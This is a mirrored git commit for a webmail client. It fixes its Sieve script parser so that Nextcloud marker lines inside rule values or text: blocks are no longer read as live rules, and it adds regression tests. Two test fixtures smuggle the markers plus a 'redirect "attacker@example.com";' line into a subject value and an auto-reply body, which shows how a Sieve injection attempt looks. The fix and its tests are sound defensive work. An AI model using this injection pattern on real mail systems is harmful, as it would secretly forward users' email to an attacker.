mirror of
https://github.com/bulwarkmail/webmail.git
synced 2026-10-31 00:12:39 +00:00
fix: ignore Nextcloud filter markers inside rule text
This commit is contained in:
@@ -377,5 +377,33 @@ describe('external rule preservation (issue #201)', () => {
|
||||
const headerCount = (script.match(/# --- External rules \(managed outside Bulwark\) ---/g) || []).length;
|
||||
expect(headerCount).toBe(1);
|
||||
});
|
||||
|
||||
it('ignores marker lines inside a rule value, so the value never turns into live Sieve', () => {
|
||||
const value = `x\n${NEXTCLOUD_MARKER}\nredirect "attacker@example.com";\n${NEXTCLOUD_MARKER}\ny`;
|
||||
const bulwark = makeBulwarkRule({ conditions: [{ field: 'subject', comparator: 'contains', value }] });
|
||||
|
||||
const parsed = parseScript(generateScript([bulwark]));
|
||||
expect(parsed.rules.filter(r => r.originLabel === 'Nextcloud')).toHaveLength(0);
|
||||
expect(parsed.rules).toHaveLength(1);
|
||||
expect(parsed.rules[0].conditions[0].value).toBe(value);
|
||||
});
|
||||
|
||||
it('ignores marker lines inside a text: block', () => {
|
||||
const script = [
|
||||
'require ["vacation", "fileinto"];',
|
||||
'if header :contains "Subject" "invoice" {',
|
||||
' fileinto "Finance";',
|
||||
'}',
|
||||
'vacation :subject "Away" text:',
|
||||
NEXTCLOUD_MARKER,
|
||||
'redirect "attacker@example.com";',
|
||||
NEXTCLOUD_MARKER,
|
||||
'.',
|
||||
';',
|
||||
'',
|
||||
].join('\n');
|
||||
const result = parseScript(script);
|
||||
expect(result.rules.filter(r => r.originLabel === 'Nextcloud')).toHaveLength(0);
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
+31
-7
@@ -144,6 +144,19 @@ function skipBlockComment(s: string, i: number): number {
|
||||
return end === -1 ? s.length : end + 2;
|
||||
}
|
||||
|
||||
// Past a `text:` string: every line up to and including the lone ".".
|
||||
function skipMultiLineString(s: string, i: number): number {
|
||||
let line = s.indexOf('\n', i) + 1;
|
||||
if (line === 0) return s.length;
|
||||
while (line < s.length) {
|
||||
const nl = s.indexOf('\n', line);
|
||||
const next = nl === -1 ? s.length : nl + 1;
|
||||
if (s.slice(line, next).replace(/\r?\n$/, '') === '.') return next;
|
||||
line = next;
|
||||
}
|
||||
return s.length;
|
||||
}
|
||||
|
||||
function skipStatement(s: string, i: number): number {
|
||||
while (i < s.length) {
|
||||
const c = s[i];
|
||||
@@ -700,14 +713,25 @@ function extractNextcloudRegions(content: string): {
|
||||
requires: string[];
|
||||
} {
|
||||
const marker = NEXTCLOUD_BLOCK_MARKER;
|
||||
// Only a comment line counts. The same text inside a string (a rule's value,
|
||||
// an auto-reply) is data, and taken for a region it would be written back
|
||||
// as live Sieve.
|
||||
const positions: number[] = [];
|
||||
let searchFrom = 0;
|
||||
while (true) {
|
||||
const idx = content.indexOf(marker, searchFrom);
|
||||
if (idx === -1) break;
|
||||
const atLineStart = idx === 0 || content[idx - 1] === '\n';
|
||||
if (atLineStart) positions.push(idx);
|
||||
searchFrom = idx + marker.length;
|
||||
let i = 0;
|
||||
while (i < content.length) {
|
||||
const c = content[i];
|
||||
if (c === '"') { i = skipStringLit(content, i); continue; }
|
||||
if (c === '/' && content[i + 1] === '*') { i = skipBlockComment(content, i); continue; }
|
||||
if (c === '#') {
|
||||
if ((i === 0 || content[i - 1] === '\n') && content.startsWith(marker, i)) positions.push(i);
|
||||
i = skipHashComment(content, i);
|
||||
continue;
|
||||
}
|
||||
if (content.slice(i, i + 5).toLowerCase() === 'text:' && !/\w/.test(content[i - 1] ?? '')) {
|
||||
i = skipMultiLineString(content, i);
|
||||
continue;
|
||||
}
|
||||
i++;
|
||||
}
|
||||
|
||||
if (positions.length < 2) {
|
||||
|
||||
Reference in New Issue
Block a user